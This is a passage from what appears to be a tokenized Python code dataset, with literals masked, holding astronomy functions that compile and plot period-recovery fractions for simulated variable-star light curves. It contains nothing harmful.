x['<STR_LIT>'] in PERIODIC_VARTYPES)],<EOL>dtype=np.unicode_<EOL>)<EOL>recovered_periodicvars = np.array(<EOL>[x['<STR_LIT>'] for x in results<EOL>if (x is not None and '<STR_LIT>' in x['<STR_LIT>'])],<EOL>dtype=np.unicode_<EOL>)<EOL>alias_twice_periodicvars = np.array(<EOL>[x['<STR_LIT>'] for x in results<EOL>if (x is not None and '<STR_LIT>' in x['<STR_LIT>'])],<EOL>dtype=np.unicode_<EOL>)<EOL>alias_half_periodicvars = np.array(<EOL>[x['<STR_LIT>'] for x in results<EOL>if (x is not None and '<STR_LIT>' in x['<STR_LIT>'])],<EOL>dtype=np.unicode_<EOL>)<EOL>all_objectids = [x['<STR_LIT>'] for x in results]<EOL>outdict = {'<STR_LIT>':os.path.abspath(simbasedir),<EOL>'<STR_LIT>':all_objectids,<EOL>'<STR_LIT>':period_tolerance,<EOL>'<STR_LIT>':actual_periodicvars,<EOL>'<STR_LIT>':recovered_periodicvars,<EOL>'<STR_LIT>':alias_twice_periodicvars,<EOL>'<STR_LIT>':alias_half_periodicvars,<EOL>'<STR_LIT>':resdict}<EOL>outfile = os.path.join(simbasedir,'<STR_LIT>')<EOL>with open(outfile, '<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(outdict, outfd, pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>return outdict<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(<EOL>'<STR_LIT>' %<EOL>pfpkldir<EOL>)<EOL>return None<EOL><DEDENT>", "docstring": "This is a parallel driver for `periodicvar_recovery`.\n\n    Parameters\n    ----------\n\n    simbasedir : str\n        The base directory where all of the fake LCs and period-finding results\n        are.\n\n    period_tolerance : float\n        The maximum difference that this function will consider between an\n        actual period (or its aliases) and a recovered period to consider it as\n        as a 'recovered' period.\n\n    liststartindex : int\n        The starting index of processing. This refers to the filename list\n        generated by running `glob.glob` on the period-finding result pickles in\n        `simbasedir/periodfinding`.\n\n    listmaxobjects : int\n        The maximum number of objects to process in this run. Use this with\n        `liststartindex` to effectively distribute working on a large list of\n        input period-finding result pickles over several sessions or machines.\n\n    nperiodworkers : int\n        This is the number of parallel period-finding worker processes to use.\n\n    Returns\n    -------\n\n    str\n        Returns the filename of the pickle produced containing all of the period\n        recovery results.", "id": "f14692:m14"}
{"signature": "def plot_periodicvar_recovery_results(<EOL>precvar_results,<EOL>aliases_count_as_recovered=None,<EOL>magbins=None,<EOL>periodbins=None,<EOL>amplitudebins=None,<EOL>ndetbins=None,<EOL>minbinsize=<NUM_LIT:1>,<EOL>plotfile_ext='<STR_LIT>',<EOL>):", "body": "<EOL>if isinstance(precvar_results, str) and os.path.exists(precvar_results):<EOL><INDENT>with open(precvar_results,'<STR_LIT:rb>') as infd:<EOL><INDENT>precvar = pickle.load(infd)<EOL><DEDENT><DEDENT>elif isinstance(precvar_results, dict):<EOL><INDENT>precvar = precvar_results<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return None<EOL><DEDENT>simbasedir = precvar['<STR_LIT>']<EOL>lcinfof = os.path.join(simbasedir,'<STR_LIT>')<EOL>if not os.path.exists(lcinfof):<EOL><INDENT>LOGERROR('<STR_LIT>' %<EOL>simbasedir)<EOL>return None<EOL><DEDENT>with open(lcinfof,'<STR_LIT:rb>') as infd:<EOL><INDENT>lcinfo = pickle.load(infd)<EOL><DEDENT>magcols = lcinfo['<STR_LIT>']<EOL>objectid = lcinfo['<STR_LIT>']<EOL>ndet = lcinfo['<STR_LIT>']<EOL>sdssr = lcinfo['<STR_LIT>']<EOL>actual_periodicvars = precvar['<STR_LIT>']<EOL>LOGINFO('<STR_LIT>')<EOL>periodicvar_sdssr = []<EOL>periodicvar_ndet = []<EOL>periodicvar_objectids = []<EOL>for pobj in actual_periodicvars:<EOL><INDENT>pobjind = objectid == pobj<EOL>periodicvar_objectids.append(pobj)<EOL>periodicvar_sdssr.append(sdssr[pobjind])<EOL>periodicvar_ndet.append(ndet[pobjind])<EOL><DEDENT>periodicvar_sdssr = np.array(periodicvar_sdssr)<EOL>periodicvar_objectids = np.array(periodicvar_objectids)<EOL>periodicvar_ndet = np.array(periodicvar_ndet)<EOL>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>periodicvar_periods = [<EOL>np.asscalar(precvar['<STR_LIT>'][x]['<STR_LIT>'])<EOL>for x in periodicvar_objectids<EOL>]<EOL>periodicvar_amplitudes = [<EOL>np.asscalar(precvar['<STR_LIT>'][x]['<STR_LIT>'])<EOL>for x in periodicvar_objectids<EOL>]<EOL>periodicvar_vartypes = [<EOL>precvar['<STR_LIT>'][x]['<STR_LIT>'] for x in periodicvar_objectids<EOL>]<EOL>LOGINFO('<STR_LIT>')<EOL>magbinned_sdssr = []<EOL>magbinned_periodicvars = []<EOL>if not magbins:<EOL><INDENT>magbins = PERIODREC_DEFAULT_MAGBINS<EOL><DEDENT>magbininds = np.digitize(np.ravel(periodicvar_sdssr), magbins)<EOL>for mbinind, magi in zip(np.unique(magbininds),<EOL>range(len(magbins)-<NUM_LIT:1>)):<EOL><INDENT>thisbin_periodicvars = periodicvar_objectids[magbininds == mbinind]<EOL>if (thisbin_periodicvars.size > (minbinsize-<NUM_LIT:1>)):<EOL><INDENT>magbinned_sdssr.append((magbins[magi] + magbins[magi+<NUM_LIT:1>])/<NUM_LIT>)<EOL>magbinned_periodicvars.append(thisbin_periodicvars)<EOL><DEDENT><DEDENT>LOGINFO('<STR_LIT>')<EOL>periodbinned_periods = []<EOL>periodbinned_periodicvars = []<EOL>if not periodbins:<EOL><INDENT>periodbins = PERIODREC_DEFAULT_PERIODBINS<EOL><DEDENT>periodbininds = np.digitize(np.ravel(periodicvar_periods), periodbins)<EOL>for pbinind, peri in zip(np.unique(periodbininds),<EOL>range(len(periodbins)-<NUM_LIT:1>)):<EOL><INDENT>thisbin_periodicvars = periodicvar_objectids[periodbininds == pbinind]<EOL>if (thisbin_periodicvars.size > (minbinsize-<NUM_LIT:1>)):<EOL><INDENT>periodbinned_periods.append((periodbins[peri] +<EOL>periodbins[peri+<NUM_LIT:1>])/<NUM_LIT>)<EOL>periodbinned_periodicvars.append(thisbin_periodicvars)<EOL><DEDENT><DEDENT>LOGINFO('<STR_LIT>')<EOL>amplitudebinned_amplitudes = []<EOL>amplitudebinned_periodicvars = []<EOL>if not amplitudebins:<EOL><INDENT>amplitudebins = PERIODREC_DEFAULT_AMPBINS<EOL><DEDENT>amplitudebininds = np.digitize(np.ravel(np.abs(periodicvar_amplitudes)),<EOL>amplitudebins)<EOL>for abinind, ampi in zip(np.unique(amplitudebininds),<EOL>range(len(amplitudebins)-<NUM_LIT:1>)):<EOL><INDENT>thisbin_periodicvars = periodicvar_objectids[<EOL>amplitudebininds == abinind<EOL>]<EOL>if (thisbin_periodicvars.size > (minbinsize-<NUM_LIT:1>)):<EOL><INDENT>amplitudebinned_amplitudes.append(<EOL>(amplitudebins[ampi] +<EOL>amplitudebins[ampi+<NUM_LIT:1>])/<NUM_LIT><EOL>)<EOL>amplitudebinned_periodicvars.append(thisbin_periodicvars)<EOL><DEDENT><DEDENT>LOGINFO('<STR_LIT>')<EOL>ndetbinned_ndets = []<EOL>ndetbinned_periodicvars = []<EOL>if not ndetbins:<EOL><INDENT>ndetbins = PERIODREC_DEFAULT_NDETBINS<EOL><DEDENT>ndetbininds = np.digitize(np.ravel(periodicvar_ndet), ndetbins)<EOL>for nbinind, ndeti in zip(np.unique(ndetbininds),<EOL>range(len(ndetbins)-<NUM_LIT:1>)):<EOL><INDENT>thisbin_periodicvars = periodicvar_objectids[ndetbininds == nbinind]<EOL>if (thisbin_periodicvars.size > (minbinsize-<NUM_LIT:1>)):<EOL><INDENT>ndetbinned_ndets.append(<EOL>(ndetbins[ndeti] +<EOL>ndetbins[ndeti+<NUM_LIT:1>])/<NUM_LIT><EOL>)<EOL>ndetbinned_periodicvars.append(thisbin_periodicvars)<EOL><DEDENT><DEDENT>recovered_status = ['<STR_LIT>']<EOL>if isinstance(aliases_count_as_recovered, list):<EOL><INDENT>for atype in aliases_count_as_recovered:<EOL><INDENT>if atype in ALIAS_TYPES:<EOL><INDENT>recovered_status.append(atype)<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>' % atype)<EOL><DEDENT><DEDENT><DEDENT>elif aliases_count_as_recovered and aliases_count_as_recovered == '<STR_LIT:all>':<EOL><INDENT>for atype in ALIAS_TYPES[<NUM_LIT:1>:]:<EOL><INDENT>recovered_status.append(atype)<EOL><DEDENT><DEDENT>recovered_periodicvars = np.array(<EOL>[precvar['<STR_LIT>'][x]['<STR_LIT>'] for x in precvar['<STR_LIT>']<EOL>if (precvar['<STR_LIT>'][x] is not None and<EOL>precvar['<STR_LIT>'][x]['<STR_LIT>']<EOL>in recovered_status)],<EOL>dtype=np.unicode_<EOL>)<EOL>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(recovered_periodicvars.size,<EOL>actual_periodicvars.size,<EOL>float(recovered_periodicvars.size/actual_periodicvars.size),<EOL>'<STR_LIT:U+002CU+0020>'.join(recovered_status)))<EOL>magbinned_recovered_objects = [<EOL>np.intersect1d(x,recovered_periodicvars)<EOL>for x in magbinned_periodicvars<EOL>]<EOL>magbinned_recfrac = np.array([float(x.size/y.size) for x,y<EOL>in zip(magbinned_recovered_objects,<EOL>magbinned_periodicvars)])<EOL>periodbinned_recovered_objects = [<EOL>np.intersect1d(x,recovered_periodicvars)<EOL>for x in periodbinned_periodicvars<EOL>]<EOL>periodbinned_recfrac = np.array([float(x.size/y.size) for x,y<EOL>in zip(periodbinned_recovered_objects,<EOL>periodbinned_periodicvars)])<EOL>amplitudebinned_recovered_objects = [<EOL>np.intersect1d(x,recovered_periodicvars)<EOL>for x in amplitudebinned_periodicvars<EOL>]<EOL>amplitudebinned_recfrac = np.array(<EOL>[float(x.size/y.size) for x,y<EOL>in zip(amplitudebinned_recovered_objects,<EOL>amplitudebinned_periodicvars)]<EOL>)<EOL>ndetbinned_recovered_objects = [<EOL>np.intersect1d(x,recovered_periodicvars)<EOL>for x in ndetbinned_periodicvars<EOL>]<EOL>ndetbinned_recfrac = np.array([float(x.size/y.size) for x,y<EOL>in zip(ndetbinned_recovered_objects,<EOL>ndetbinned_periodicvars)])<EOL>magbinned_sdssr = np.array(magbinned_sdssr)<EOL>periodbinned_periods = np.array(periodbinned_periods)<EOL>amplitudebinned_amplitudes = np.array(amplitudebinned_amplitudes)<EOL>ndetbinned_ndets = np.array(ndetbinned_ndets)<EOL>outdict = {<EOL>'<STR_LIT>':simbasedir,<EOL>'<STR_LIT>':precvar,<EOL>'<STR_LIT>':magcols,<EOL>'<STR_LIT>':objectid,<EOL>'<STR_LIT>':ndet,<EOL>'<STR_LIT>':sdssr,<EOL>'<STR_LIT>':actual_periodicvars,<EOL>'<STR_LIT>':recovered_periodicvars,<EOL>'<STR_LIT>':recovered_status,<EOL>'<STR_LIT>':magbins,<EOL>'<STR_LIT>':magbinned_sdssr,<EOL>'<STR_LIT>':magbinned_periodicvars,<EOL>'<STR_LIT>':magbinned_recovered_objects,<EOL>'<STR_LIT>':magbinned_recfrac,<EOL>'<STR_LIT>':periodbins,<EOL>'<STR_LIT>':periodbinned_periods,<EOL>'<STR_LIT>':periodbinned_periodicvars,<EOL>'<STR_LIT>':periodbinned_recovered_objects,<EOL>'<STR_LIT>':periodbinned_recfrac,<EOL>'<STR_LIT>':amplitudebins,<EOL>'<STR_LIT>':amplitudebinned_amplitudes,<EOL>'<STR_LIT>':amplitudebinned_periodicvars,<EOL>'<STR_LIT>':amplitudebinned_recovered_objects,<EOL>'<STR_LIT>':amplitudebinned_recfrac,<EOL>'<STR_LIT>':ndetbins,<EOL>'<STR_LIT>':ndetbinned_ndets,<EOL>'<STR_LIT>':ndetbinned_periodicvars,<EOL>'<STR_LIT>':ndetbinned_recovered_objects,<EOL>'<STR_LIT>':ndetbinned_recfrac,<EOL>}<EOL>all_pfmethods = np.unique(<EOL>np.concatenate(<EOL>[np.unique(precvar['<STR_LIT>'][x]['<STR_LIT>'])<EOL>for x in precvar['<STR_LIT>']]<EOL>)<EOL>)<EOL>all_vartypes = np.unique(<EOL>[(precvar['<STR_LIT>'][x]['<STR_LIT>'])<EOL>for x in precvar['<STR_LIT>'] if<EOL>(precvar['<STR_LIT>'][x]['<STR_LIT>'] is not None)]<EOL>)<EOL>all_aliastypes = recovered_status<EOL>outdict['<STR_LIT>'] = all_aliastypes<EOL>outdict['<STR_LIT>'] = all_pfmethods<EOL>outdict['<STR_LIT>'] = all_vartypes<EOL>magbinned_per_magcol_recfracs = []<EOL>magbinned_per_vartype_recfracs = []<EOL>magbinned_per_pfmethod_recfracs = []<EOL>magbinned_per_aliastype_recfracs = []<EOL>periodbinned_per_magcol_recfracs = []<EOL>periodbinned_per_vartype_recfracs = []<EOL>periodbinned_per_pfmethod_recfracs = []<EOL>periodbinned_per_aliastype_recfracs = []<EOL>amplitudebinned_per_magcol_recfracs = []<EOL>amplitudebinned_per_vartype_recfracs = []<EOL>amplitudebinned_per_pfmethod_recfracs = []<EOL>amplitudebinned_per_aliastype_recfracs = []<EOL>ndetbinned_per_magcol_recfracs = []<EOL>ndetbinned_per_vartype_recfracs = []<EOL>ndetbinned_per_pfmethod_recfracs = []<EOL>ndetbinned_per_aliastype_recfracs = []<EOL>recplotdir = os.path.join(simbasedir, '<STR_LIT>')<EOL>if not os.path.exists(recplotdir):<EOL><INDENT>os.mkdir(recplotdir)<EOL><DEDENT>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>plt.plot(magbinned_sdssr, magbinned_recfrac,marker='<STR_LIT:.>',ms=<NUM_LIT:0.0>)<EOL>plt.xlabel(r'<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.ylim((<NUM_LIT:0>,<NUM_LIT:1>))<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>for magcol in magcols:<EOL><INDENT>thismagcol_recfracs = []<EOL>for magbin_pv, magbin_rv in zip(magbinned_periodicvars,<EOL>magbinned_recovered_objects):<EOL><INDENT>thisbin_thismagcol_recvars = [<EOL>x for x in magbin_rv<EOL>if (precvar['<STR_LIT>'][x]['<STR_LIT>'] == magcol)<EOL>]<EOL>thisbin_thismagcol_recfrac = (<EOL>np.array(thisbin_thismagcol_recvars).size /<EOL>magbin_pv.size<EOL>)<EOL>thismagcol_recfracs.append(thisbin_thismagcol_recfrac)<EOL><DEDENT>plt.plot(magbinned_sdssr,<EOL>np.array(thismagcol_recfracs),<EOL>marker='<STR_LIT:.>',<EOL>label='<STR_LIT>' % magcol,<EOL>ms=<NUM_LIT:0.0>)<EOL>magbinned_per_magcol_recfracs.append(np.array(thismagcol_recfracs))<EOL><DEDENT>plt.plot(magbinned_sdssr, magbinned_recfrac,<EOL>marker='<STR_LIT:.>',ms=<NUM_LIT:0.0>, label='<STR_LIT>', color='<STR_LIT:k>')<EOL>plt.xlabel(r'<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.ylim((<NUM_LIT:0>,<NUM_LIT:1>))<EOL>plt.legend(markerscale=<NUM_LIT>)<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>all_pfmethods = np.unique(<EOL>np.concatenate(<EOL>[np.unique(precvar['<STR_LIT>'][x]['<STR_LIT>'])<EOL>for x in precvar['<STR_LIT>']]<EOL>)<EOL>)<EOL>for pfm in all_pfmethods:<EOL><INDENT>thispf_recfracs = []<EOL>for magbin_pv, magbin_rv in zip(magbinned_periodicvars,<EOL>magbinned_recovered_objects):<EOL><INDENT>thisbin_thispf_recvars = [<EOL>x for x in magbin_rv<EOL>if (precvar['<STR_LIT>'][x]['<STR_LIT>'] == pfm)<EOL>]<EOL>thisbin_thismagcol_recfrac = (<EOL>np.array(thisbin_thispf_recvars).size /<EOL>magbin_pv.size<EOL>)<EOL>thispf_recfracs.append(thisbin_thismagcol_recfrac)<EOL><DEDENT>plt.plot(magbinned_sdssr,<EOL>np.array(thispf_recfracs),<EOL>marker='<STR_LIT:.>',<EOL>label='<STR_LIT:%s>' % pfm.upper(),<EOL>ms=<NUM_LIT:0.0>)<EOL>magbinned_per_pfmethod_recfracs.append(np.array(thispf_recfracs))<EOL><DEDENT>plt.plot(magbinned_sdssr, magbinned_recfrac,<EOL>marker='<STR_LIT:.>',ms=<NUM_LIT:0.0>, label='<STR_LIT>', color='<STR_LIT:k>')<EOL>plt.xlabel(r'<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.ylim((<NUM_LIT:0>,<NUM_LIT:1>))<EOL>plt.legend(markerscale=<NUM_LIT>)<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>all_vartypes = np.unique(<EOL>[(precvar['<STR_LIT>'][x]['<STR_LIT>'])<EOL>for x in precvar['<STR_LIT>'] if<EOL>(precvar['<STR_LIT>'][x]['<STR_LIT>'] is not None)]<EOL>)<EOL>for vt in all_vartypes:<EOL><INDENT>thisvt_recfracs = []<EOL>for magbin_pv, magbin_rv in zip(magbinned_periodicvars,<EOL>magbinned_recovered_objects):<EOL><INDENT>thisbin_thisvt_recvars = [<EOL>x for x in magbin_rv<EOL>if (precvar['<STR_LIT>'][x]['<STR_LIT>'] == vt)<EOL>]<EOL>thisbin_thismagcol_recfrac = (<EOL>np.array(thisbin_thisvt_recvars).size /<EOL>magbin_pv.size<EOL>)<EOL>thisvt_recfracs.append(thisbin_thismagcol_recfrac)<EOL><DEDENT>plt.plot(magbinned_sdssr,<EOL>np.array(thisvt_recfracs),<EOL>marker='<STR_LIT:.>',<EOL>label='<STR_LIT:%s>' % vt,<EOL>ms=<NUM_LIT:0.0>)<EOL>magbinned_per_vartype_recfracs.append(np.array(thisvt_recfracs))<EOL><DEDENT>plt.plot(magbinned_sdssr, magbinned_recfrac,<EOL>marker='<STR_LIT:.>',ms=<NUM_LIT:0.0>, label='<STR_LIT>', color='<STR_LIT:k>')<EOL>plt.xlabel(r'<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.ylim((<NUM_LIT:0>,<NUM_LIT:1>))<EOL>plt.legend(markerscale=<NUM_LIT>)<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>all_aliastypes = recovered_status<EOL>for at in all_aliastypes:<EOL><INDENT>thisat_recfracs = []<EOL>for magbin_pv, magbin_rv in zip(magbinned_periodicvars,<EOL>magbinned_recovered_objects):<EOL><INDENT>thisbin_thisat_recvars = [<EOL>x for x in magbin_rv<EOL>if (precvar['<STR_LIT>'][x]['<STR_LIT>'][<NUM_LIT:0>] == at)<EOL>]<EOL>thisbin_thismagcol_recfrac = (<EOL>np.array(thisbin_thisat_recvars).size /<EOL>magbin_pv.size<EOL>)<EOL>thisat_recfracs.append(thisbin_thismagcol_recfrac)<EOL><DEDENT>plt.plot(magbinned_sdssr,<EOL>np.array(thisat_recfracs),<EOL>marker='<STR_LIT:.>',<EOL>label='<STR_LIT:%s>' % at,<EOL>ms=<NUM_LIT:0.0>)<EOL>magbinned_per_aliastype_recfracs.append(np.array(thisat_recfracs))<EOL><DEDENT>plt.plot(magbinned_sdssr, magbinned_recfrac,<EOL>marker='<STR_LIT:.>',ms=<NUM_LIT:0.0>, label='<STR_LIT>', color='<STR_LIT:k>')<EOL>plt.xlabel(r'<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.ylim((<NUM_LIT:0>,<NUM_LIT:1>))<EOL>plt.legend(markerscale=<NUM_LIT>)<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>plt.plot(periodbinned_periods, periodbinned_recfrac,<EOL>marker='<STR_LIT:.>',ms=<NUM_LIT:0.0>)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.ylim((<NUM_LIT:0>,<NUM_LIT:1>))<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>for magcol in magcols:<EOL><INDENT>thismagcol_recfracs = []<EOL>for periodbin_pv, periodbin_rv in zip(periodbinned_periodicvars,<EOL>periodbinned_recovered_objects):<EOL><INDENT>thisbin_thismagcol_recvars = [<EOL>x for x in periodbin_rv<EOL>if (precvar['<STR_LIT>'][x]['<STR_LIT>'] == magcol)<EOL>]<EOL>thisbin_thismagcol_recfrac = (<EOL>np.array(thisbin_thismagcol_recvars).size /<EOL>periodbin_pv.size<EOL>)<EOL>thismagcol_recfracs.append(thisbin_thismagcol_recfrac)<EOL><DEDENT>plt.plot(periodbinned_periods,<EOL>np.array(thismagcol_recfracs),<EOL>marker='<STR_LIT:.>',<EOL>label='<STR_LIT>' % magcol,<EOL>ms=<NUM_LIT:0.0>)<EOL>periodbinned_per_magcol_recfracs.append(np.array(thismagcol_recfracs))<EOL><DEDENT>plt.plot(periodbinned_periods, periodbinned_recfrac,<EOL>marker='<STR_LIT:.>',ms=<NUM_LIT:0.0>, label='<STR_LIT>', color='<STR_LIT:k>')<EOL>plt.xlabel(r'<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.ylim((<NUM_LIT:0>,<NUM_LIT:1>))<EOL>plt.legend(markerscale=<NUM_LIT>)<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>all_pfmethods = np.unique(<EOL>np.concatenate(<EOL>[np.unique(precvar['<STR_LIT>'][x]['<STR_LIT>'])<EOL>for x in precvar['<STR_LIT>']]<EOL>)<EOL>)<EOL>for pfm in all_pfmethods:<EOL><INDENT>thispf_recfracs = []<EOL>for periodbin_pv, periodbin_rv in zip(periodbinned_periodicvars,<EOL>periodbinned_recovered_objects):<EOL><INDENT>thisbin_thispf_recvars = [<EOL>x for x in periodbin_rv<EOL>if (precvar['<STR_LIT>'][x]['<STR_LIT>'] == pfm)<EOL>]<EOL>thisbin_thismagcol_recfrac = (<EOL>np.array(thisbin_thispf_recvars).size /<EOL>periodbin_pv.size<EOL>)<EOL>thispf_recfracs.append(thisbin_thismagcol_recfrac)<EOL><DEDENT>plt.plot(periodbinned_periods,<EOL>np.array(thispf_recfracs),<EOL>marker='<STR_LIT:.>',<EOL>label='<STR_LIT:%s>' % pfm.upper(),<EOL>ms=<NUM_LIT:0.0>)<EOL>periodbinned_per_pfmethod_recfracs.append(np.array(thispf_recfracs))<EOL><DEDENT>plt.plot(periodbinned_periods, periodbinned_recfrac,<EOL>marker='<STR_LIT:.>',ms=<NUM_LIT:0.0>, label='<STR_LIT>', color='<STR_LIT:k>')<EOL>plt.xlabel(r'<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.ylim((<NUM_LIT:0>,<NUM_LIT:1>))<EOL>plt.legend(markerscale=<NUM_LIT>)<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>all_vartypes = np.unique(<EOL>[(precvar['<STR_LIT>'][x]['<STR_LIT>'])<EOL>for x in precvar['<STR_LIT>'] if<EOL>(precvar['<STR_LIT>'][x]['<STR_LIT>'] is not None)]<EOL>)<EOL>for vt in all_vartypes:<EOL><INDENT>thisvt_recfracs = []<EOL>for periodbin_pv, periodbin_rv in zip(periodbinned_periodicvars,<EOL>periodbinned_recovered_objects):<EOL><INDENT>thisbin_thisvt_recvars = [<EOL>x for x in periodbin_rv<EOL>if (precvar['<STR_LIT>'][x]['<STR_LIT>'] == vt)<EOL>]<EOL>thisbin_thismagcol_recfrac = (<EOL>np.array(thisbin_thisvt_recvars).size /<EOL>periodbin_pv.size<EOL>)<EOL>thisvt_recfracs.append(thisbin_thismagcol_recfrac)<EOL><DEDENT>plt.plot(periodbinned_periods,<EOL>np.array(thisvt_recfracs),<EOL>marker='<STR_LIT:.>',<EOL>label='<STR_LIT:%s>' % vt,<EOL>ms=<NUM_LIT:0.0>)<EOL>periodbinned_per_vartype_recfracs.append(np.array(thisvt_recfracs))<EOL><DEDENT>plt.plot(periodbinned_periods, periodbinned_recfrac,<EOL>marker='<STR_LIT:.>',ms=<NUM_LIT:0.0>, label='<STR_LIT>', color='<STR_LIT:k>')<EOL>plt.xlabel(r'<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.ylim((<NUM_LIT:0>,<NUM_LIT:1>))<EOL>plt.legend(markerscale=<NUM_LIT>)<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>all_aliastypes = recovered_status<EOL>for at in all_aliastypes:<EOL><INDENT>thisat_recfracs = []<EOL>for periodbin_pv, periodbin_rv in zip(<EOL>periodbinned_periodicvars,<EOL>periodbinned_recovered_objects<EOL>):<EOL><INDENT>thisbin_thisat_recvars = [<EOL>x for x in periodbin_rv<EOL>if (precvar['<STR_LIT>'][x]['<STR_LIT>'][<NUM_LIT:0>] == at)<EOL>]<EOL>thisbin_thismagcol_recfrac = (<EOL>np.array(thisbin_thisat_recvars).size /<EOL>periodbin_pv.size<EOL>)<EOL>thisat_recfracs.append(thisbin_thismagcol_recfrac)<EOL><DEDENT>plt.plot(periodbinned_periods,<EOL>np.array(thisat_recfracs),<EOL>marker='<STR_LIT:.>',<EOL>label='<STR_LIT:%s>' % at,<EOL>ms=<NUM_LIT:0.0>)<EOL>periodbinned_per_aliastype_recfracs.append(np.array(thisat_recfracs))<EOL><DEDENT>plt.plot(periodbinned_periods, periodbinned_recfrac,<EOL>marker='<STR_LIT:.>',ms=<NUM_LIT:0.0>, label='<STR_LIT>', color='<STR_LIT:k>')<EOL>plt.xlabel(r'<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.ylim((<NUM_LIT:0>,<NUM_LIT:1>))<EOL>plt.legend(markerscale=<NUM_LIT>)<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>plt.plot(amplitudebinned_amplitudes, amplitudebinned_recfrac,<EOL>marker='<STR_LIT:.>',ms=<NUM_LIT:0.0>)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.ylim((<NUM_LIT:0>,<NUM_LIT:1>))<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % 